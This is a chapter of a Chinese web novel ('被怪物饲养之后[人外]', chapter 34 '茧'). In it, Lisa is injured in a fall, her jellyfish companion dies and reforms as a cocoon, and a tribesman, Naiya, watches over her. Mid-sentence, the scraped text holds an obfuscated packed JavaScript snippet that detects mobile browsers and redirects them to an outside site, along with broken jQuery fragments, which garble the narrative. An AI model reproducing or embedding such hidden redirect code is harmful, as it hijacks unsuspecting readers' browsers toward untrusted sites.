34. 茧
作品:《被怪物饲养之后[人外]》 它非常激动地抖了几下,明显是吃到对胃口的了。这可不行,她还得带一些回家呢。
“看好它。”丽莎把黑黑掏出来交给小水母,后者非常熟练地把黑黑团成了饼状塞在身子底下当坐垫。
还是小水母省心又乖巧。
虽然大部分藤蔓上的“土豆”都长到了树干上,但还是有一些小的很好摘,丽莎往兜里多装了几个。
土豆蛋子的份量不小,今天收获不错。
天却毫无征兆地黑了,她无法适应切换黑夜的眼睛下意识闭了几下,站起来的脚踩到一块滑溜溜的地方。
失重的坠落感席卷而来。
丽莎慌乱地在半空中挥动双手,想要抓住什么可以借力的东西,她的身体砰得砸在了宽阔的叶子上,很显然她的体重不是这片叶子能承受的,而且上面很湿滑。
她又掉了下去。
砰、啪、砰。
丽莎起码落在两片叶子上,最后才掉到地上。
这一下摔得很重。
她首先觉得自己上半身好像压到什么缓冲了一下,耳畔传来一声脆裂声,然后就是尾椎骨发麻,整个下半身没有知觉,过了好一会儿脚踝处传来剧痛。痛得她没办法停止掉眼泪。
而且,不光是下半身动不了,她伸手摸索四周,自腰部往下,陷在了两块石头形成的狭缝中间,整个狭缝里全是植被形成软乎的腐殖层,厚实而黏腻,抓一下就啪嗒啪嗒滑落,上身无法借力。
她起不来。
有那么一瞬间,丽莎觉得自己完了,她瘸了腿,甚至卡在坑里,没办法回去,没办法找吃的,没办法喝水,很快就会死在这里。
她的牙齿颤抖着咬得咯咯作响,一遍遍说:“想这些是没有用,动起来。”
她就真的动起来了。
不,是黑黑和小水母……在昏暗的植物微光下,她看见小水母几乎把黑黑摊成了一张薄薄的饼,包裹着她受伤的脚踝和腿。
腿脚不再陷在狭缝里膝盖就能使得上力气,丽莎用胳膊把自己撑着从坑里爬了出来。
丽莎忍着痛,强行提着一口气。
虽然只是下半身,但她对两团几乎没有份量的小东西来说肯定很重,她不知道这么两个小小的软体生物是怎么有这样大的力量撑起她。
很混乱,她的手上身上一定有很多伤口,冷凉的湿润很快地盖过火辣辣的刺痛。
丽莎意识到小水母在不停地治疗她,而黑黑在不停把散落在地上的“土豆”都叼起来放回她的小兜里。
她可以说是半走半爬着回去的,不幸中的万幸,她没有遇到在夜间觅食的野兽。
艰难回到庇护所的丽莎已经耗尽所有力气,她依靠在墙上简单地擦洗了一下身上的污垢,发现脚踝肿得很高,小水母的疗愈能力很明显只对出血的外伤有效。
她又确认了一下两只小家伙的身体状态。
黑黑很好,它黑泥般的身子也看不出来任何不对劲,只是有些恹恹的。
但小水母半球形的圆润嘭起部分,顶端出现非常大的裂纹。它就快成两半了,抱着她的手指颤抖个不停,看起来很不舒服的样子。
丽莎不知道自己能为它做些什么,她也不敢碰它头顶的部分,只好一下下的用手指抚摸那些细小的触须。
没有过多久,它极其留恋地裹缠了一下她的手指,然后缓缓松开,毫无生机地落在地上。
丽莎伸手想要把它捡起来。
指尖触碰到的,却只剩一小滩微凉、带着微弱莹光的水液。它们没有任何反应,也没有凝聚在一起重新变成半透明的小水母。
她猛地咬住嘴唇,舌尖尝到一丝腥甜,眼眶酸胀的厉害,胸口像被塞进了沉重的石块,连呼吸都困难,发出不一点声音。
如果她今天没有出门就好了,如果她没有想去树上就好了……她落下来的时候,压到的可能就是它。
丽莎死死盯着那滩水渍,肩膀绷得紧紧的,身体颤抖着,满脑子只有一个念头。
都是她的错。
荧光,熟悉的,温柔的幽蓝色光芒,在水中微弱一闪,晃入丽莎的眼中,她脑海中绷到极致的弦骤然断裂,一声压抑不住的呜咽从喉咙里溢出来,她想控制自己的情绪,抬手捂住自己的嘴,却止不住断断续续的抽泣。
“我……”
她唯一的朋友,伙伴,家人,现在也死掉了。
“好没用。”
为什么,为什么是自己?为什么这么没用的人,还活着呢?刚刚让她摔死的话,笨笨的小东西是不是就不用耗尽能量去救她……
终于,名为理智的堤坝彻底崩塌。丽莎蜷起身子,似被抽走所有骨头,伏地大哭起来。
她没有回到自己的毯子里,就这么在角落里睡了过去。
晨光非常柔和,但依旧将丽莎的干涩的眼眶刺得生疼。
她木然的坐起身,目光下意识地扫过昨夜那片湿润的地面——哪里本该只剩下浅浅的印子,又或者什么都不留下,黑黑向来把家里“吃”得很干净。
可水液的痕迹还在那儿,甚至在中央,诡异地鼓起来一小团黑色的东西。
丽莎的心中涌出一阵麻木的烦躁,她知道这个花苞房子有着之前在章鱼大怪物那里住过的同样属性——它是活的,会生长的。
现在,它长出了一个疙瘩。
她叫黑黑把这团疙瘩清理掉,但黑黑没有反应。
丽莎决定自己动手。
指尖快要触碰到那块疙瘩的瞬间,她却猛然顿住。那团东西……在极其微弱地脉动。
一下,又一下。
缓慢得如同濒死的叹息。
她屏住呼吸,凑得更近,几乎贴了上去。顶窗捕获的晨光跟随着她的动作,穿透那层黑色的外壳,内部隐约可见及其纤细,几乎要消散的淡蓝近乎半透明色的脉络,如同之前那熟悉的,柔软脆弱的……
幽幽荧光。
某个大胆的猜测划过丽莎的脑海,心脏仿佛被无形的手狠狠攥住又猛然松开。她触电般缩回手,死死捂住嘴,连呼吸都忘记,只剩下瞳孔里剧烈震颤的,难以置信的光。
这也许,是那只小东西。
“你会好起来的,对吗?”她不敢抱有太大的希望。
但它好像听得懂她的话,在里面挣扎着动了一下,似乎想要快点出来。
丽莎生怕它现在就挣破那层黑色的壳子:“不行,不行,好好养伤。”
她猜想,昨天那样大的裂痕应该是危及到了小水母的生命,像是蘑菇受到外界刺激就会喷出孢子,恐怕它也是把自己的孢子释放出来重新生长。
而且,这样近的距离观察,能看出来这块黑色的疙瘩其实一个类似于茧的东西。
它还活着,太好了。
丽莎还没高兴一小会儿,就发现黑茧接触地面的地方发出了喀嚓声……它脱落了,并且以一种不可思议的速度在屋子里疯狂弹射。
她的脚踝还肿着,腿瘸着根本没有办法追上。黑黑似乎很害怕它的这个样子,缩到了最角落里,还用白花的叶子盖住自己,想伪装成它不存在。
丽莎一个没站稳,再次一屁股坐在了地上。
她痛呼一声,这一下同样也引起了黑茧的注意。它忽然就安静下来,躺在地上不动了。一层如同珍珠贝母表面散发的淡淡彩光在它身上流动,浓郁的黑色渐渐散去。
丽莎把它捡起来。
一枚半透明的……胶质的茧,只有半个巴掌那么点大小。
-
与此同时,溯源之花生态集中区。
以零七零八为首的执行部炸开了锅。他们没有错过任何一秒钟晶石的投影。
“老大选择在人类生态进行复苏?”
“没有溯源之花的引导,他这是进化还是退化?”
“这都不重要,你们没发现茧的大小有问题吗?”
大家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046811|178626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
议论纷纷,已经乱成一锅粥了。难得出现在这里的检测员洛克也陷入沉思,他感觉自己的头很疼。
“应该不是复苏,人类生态区域根本没有那么大的能量供给,很有可能,是罗伊第二阶段成熟期的蜕变。”
按道理来说,一枚溯源之花花苞的能量根本不足以让罗伊这个级别的存在产生二阶段蜕变。难道是他先前积攒尚未上交的生命源质,恰好弥补这个不足么。
零七直直抓住关键问题:“可他要往哪个方向蜕变?”
洛克暂时还想不明白:“罗伊,大概有自己的想法吧。”
-
丽莎端详着它。
它比她预想的要重很多……捞在手里是一种奇怪的触感,摸起来像是某种丝绒或者细绒皮毛,微微湿润的凉意。
她开始思考,小水母到底是动物还是植物。
如果它是动物,那现在这个状态也许就是一枚卵?她应该给它保持适宜的温度和湿度。可卵也分很多种,有些卵需要放在水里,有些卵需要放在干燥保暖的地方。
如果它是植物,就应该生长在地面或者别的能够汲取营养的地方,就像这朵大花苞里……
那么现在,它是脱离了花苞……丽莎暗道糟糕。
她尝试把它放回原位。
它看起来很不乐意,扭动着就往她的方向挪。虽然有点诡异,但想到里面是小水母,不会出来什么虫子或者其他可怕的东西,丽莎就不太害怕了。
她忽然想到一个人。
他同样也有着这么小小的一只水母。也许他会知道,现在它是怎么回事,要怎么让它恢复起来。
她已经好几天没看到门口的树上有人了,但他一直在,她知道,因为每天放在门口的树叶上都带着新鲜的露珠。
尽管她没有再碰过一次,但现在,她的腿脚不太方便,没办法再去森林里觅食。
丽莎翻拣着自己的所有物,发现自己并没有什么可以拿来交易的东西。
她苦笑着扯了扯嘴角,现在,光是解决温饱问题对她这个四肢不勤五谷不分的小瘸子来说……就已经非常勉强了。
他会帮她么?
-
奈亚从树梢轻盈落地,他的尾巴很稳,卷着的果实一颗也没有散落,手里的水也没有撒。
他铺好碧绿的叶子,看向黑色的花苞。
第一天,她假装无视他。第二天,她继续无视他。第三天,她接受了他带来的水。她很喜欢水,每天都要到流霞河边去。
自从提卡上次贸贸然的出现,应该是吓到了她,她完全把自己当成空气。
奈亚没有更好的办法,他甚至只是向前一步伸手,她都会紧张地缩回那个黑色大花苞里。
她这样强,却又这样胆小,矛盾而又奇怪。
纷杂的思绪仿佛扑朔迷离的蝶,在奈亚的心里掀动翅膀。
他想等一等她,再看一看她,然后再离开。
可他没想到,她受伤了,一瘸一拐地从花苞里钻出来。
那看起来很痛,但是她似乎很能忍痛。如果是和她一样大年纪的部落孩子,恐怕只会扑在萨维卡的怀里哭。
她并没有发现他,他特意藏在了更高更隐蔽的树干之上。
无论能力有多强大,恐怕她现在短时间的行动都很不方便,她需要食物和洁净的水。
奈亚这么想着,他为她找来更加新鲜的果子,猎物脖颈上最细嫩的那一块儿肉。他担心她依旧会无视,会拒绝。
但万幸……她终于接受了他的果实,虽然只拿走了一点点。
她只吃这么一点点吗?
奈亚知道,她很害怕他。无论是她的眼睛还是呼吸,当他出现在她附近的时候,都会变得警惕而不安。
所以,他从来没想过,她会主动靠近他。
她拿出来了一个奇怪的东西,它的气息和腐心沼泽深处的危险,和她栖息的怪异花苞是一样的。